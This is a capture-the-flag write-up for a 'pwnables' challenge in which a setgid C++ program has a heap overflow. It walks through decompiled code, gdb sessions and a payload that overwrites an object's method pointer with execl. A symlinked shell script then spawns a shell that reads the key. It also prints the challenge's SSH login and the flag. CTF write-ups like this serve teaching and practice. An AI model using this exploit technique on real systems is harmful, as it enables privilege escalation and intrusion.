Category: pwnables
They have an update for the vulnerable C++ program trying to fix the bug.
However, the coders at AED suck and introduced another stupid mistake.Get a shell (and the key, too.)
ssh username@a5.amalgamated.biz
Username: cpp2_1
Password: zKQaKrdFPSsT6j03XSt31NaT0H
Summary: tricky overflow class’ method and exec’ing symlinks
This task is not so easy and needs some reversing. Here’s it’s code:
int main(int argc, int argv) { // ... vars if ( argc <= 4 ) sub_8048824(*(_DWORD *)argv); obj1_ = operator new(&argc, a2); init_obj1(obj1_); obj1 = obj1_; obj2 = operator new(v8, v7); init_obj2(obj2); argv2atoi = atoi(*(const char **)(argv + 8)); // argv[2] argv3atoi = atoi(*(const char **)(argv + 12));// argv[3] process_obj1(obj1, argv2atoi, *(_DWORD *)(argv + 4));// argv[1] if ( argv3atoi & 1 ) process_obj2(obj2, *(const char **)(*(_DWORD *)(v12 + 4) + 16)); return 0; } int process_obj1(int obj1, int a2, int a3) { sprintf((char *)(obj1 + 4), "Uploading... [%s]: %d pts\n", a3, a2); memcpy(s, (const void *)(obj1 + 4), 50u); (**(void (__cdecl ***)(_DWORD, _DWORD))obj1)(obj1, s); return sub_804897C(); } void process_obj2(int obj2, const char *src) { strcpy((char *)(obj2 + 4), src); (**(void (__cdecl ***)(int, const char *))obj2)(obj2, src); sub_8048ADE(obj2); }
In the C++5x string “Uploading… [blabla]” was sprintfed at the local function variable, and this allowed us to overwrite object’s pointer. Here it’s printed into the objects space, which is in the heap. But there’s also the second object – it is created just after the first, and is situated right after it. We can overwrite the second object’s method pointer (it’s the first dword of object structure). Let’s count size of buffer needed:
cpp2_1@a5:~$ gdb --args /opt/pctf/cpp2/second_cpp "`perl -e 'print "ABCD";'`" 1 1 1 ... Breakpoint 1, 0x08048bf2 in ?? () (gdb) x/20xw $eax-64 0x92c4008: 0x08048da8 0x6f6c7055 0x6e696461 0x2e2e2e67 0x92c4018: 0x42415b20 0x3a5d4443 0x70203120 0x000a7374 0x92c4028: 0x00000000 0x00000000 0x00000000 0x00000000 0x92c4038: 0x00000000 0x00000000 0x00000000 0x00000019 0x92c4048: 0x08048dd0 0x00000031 0x00000000 0x00000000 (gdb) p/d 0x92c4048-0x92c401a $3 = 46
So, 46 bytes and the pointer. What is passed to the called function?
cpp2_1@a5:~$ gdb --args /opt/pctf/cpp2/second_cpp "`perl -e 'print "AAAABBBB" . "X"x38 . "CCCC";'`" 1 1 1 Breakpoint 1, 0x08048bf2 in ?? () (gdb) x/10i $eip 0x8048bf2: mov (%eax),%eax 0x8048bf4: mov (%eax),%edx 0x8048bf6: mov 0xc(%ebp),%eax 0x8048bf9: mov %eax,0x4(%esp) 0x8048bfd: mov 0x8(%ebp),%eax 0x8048c00: mov %eax,(%esp) 0x8048c03: call *%edx (gdb) x/4xw $eax 0x97c0048: 0x43434343 0x31200031 0x73747020 0x0000000a (gdb) ni 0x08048bf4 in ?? () (gdb) set $eax=0x97c0048 (gdb) ni 0x08048bf6 in ?? () (gdb) p/x $edx $1 = 0x43434343 ... (gdb) ni 0x08048c03 in ?? () (gdb) x/20xw $esp 0xbf8c0bd0: 0x097c0048 0xbf8c1e88 0xbf8c0c08 0x08048919 0xbf8c0be0: 0x097c0048 0xbf8c1e88 0xbf8c1e51 0xbf8c0c20 0xbf8c0bf0: 0x097c0008 0x097c0048 0x00000001 0x00000001
Looks like all arguments are valid poninters. execl will be good here, but 0x00000001 must be NULL then. What if it’s one of that three arguments?
cpp2_1@a5:~$ gdb --args /opt/pctf/cpp2/second_cpp "`perl -e 'print "AAAABBBB" . "X"x38 . "CCCC";'`" 0 1 1 (gdb) x/20xw $esp 0xbff5e9e0: 0x0818d048 0xbff5fe88 0xbff5ea18 0x08048919 0xbff5e9f0: 0x0818d048 0xbff5fe88 0xbff5fe51 0xbff5ea30 0xbff5ea00: 0x0818d008 0x0818d048 0x00000000 0x00000001
Yeah! Great! execl is good choice here. Now we have to find a place for a pointer. Like in C++5x, it is in .bss, where the string “Uploading… [” + buffer is printed:
.bss:080491A0 s
Our data is at 080491A0 + 14 = 080491AE
.
Let’s look what is executed:
cpp2_1@a5:~$ ulimit -s unlimited # disable libc ASLR cpp2_1@a5:~$ gdb --args /opt/pctf/cpp2/second_cpp "`perl -e 'print "ABCD";'`" 0 1 1 ... (gdb) r ... (gdb) p/x &execl $1 = 0x401f6b60 ^C cpp2_1@a5:~$ strace /opt/pctf/cpp2/second_cpp "`perl -e 'print "\x60\x6b\x1f\x40" . "X"x42 . "\xae\x91\x04\x08";'`" 0 1 1 ... execve("\256\221\4\0101", ["1", "\30... ...
Ok, time to win:
cpp2_1@a5:~$ export PATH=".:$PATH" cpp2_1@a5:~$ cat >wrap.sh #!/bin/sh /bin/sh cpp2_1@a5:~$ chmod +x wrap.sh cpp2_1@a5:~$ ln -s wrap.sh $'\256\221\4\0101' cpp2_1@a5:~$ /opt/pctf/cpp2/second_cpp "`perl -e 'print "\x60\x6b\x1f\x40" . "X"x42 . "\xae\x91\x04\x08";'`" 0 1 1 Uploading... [`k@XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXJob is done! Your Awesomeness point uploaded! $ id uid=4000(cpp2_1) gid=4000(cpp2users) egid=4001(cpp2key) groups=4000(cpp2users) $ cat /opt/pctf/cpp2/key It_Wasn7_th4t_DifffficuLt_VVas_1t?
The flag: It_Wasn7_th4t_DifffficuLt_VVas_1t?